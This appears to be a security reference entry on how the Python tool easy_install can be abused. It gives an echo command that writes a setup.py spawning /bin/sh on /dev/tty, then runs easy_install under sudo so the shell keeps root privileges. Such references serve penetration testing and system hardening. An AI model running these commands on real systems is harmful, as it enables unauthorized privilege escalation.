easy_install

Inherit

This executable can inherit functions from another.
  1. Comment

    This allows to run Python code (...). It executes a Python script named setup.py in the directory passed as argument (.).

    Keep in mind that the TTY is lost, so /dev/tty can be used, for example:

    echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
    
    This function can be performed by any unprivileged user.
    echo '...' >setup.py
    easy_install .
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '...' >setup.py
    easy_install .
    Functions

    Inherits from python, thus possibly granting its functions.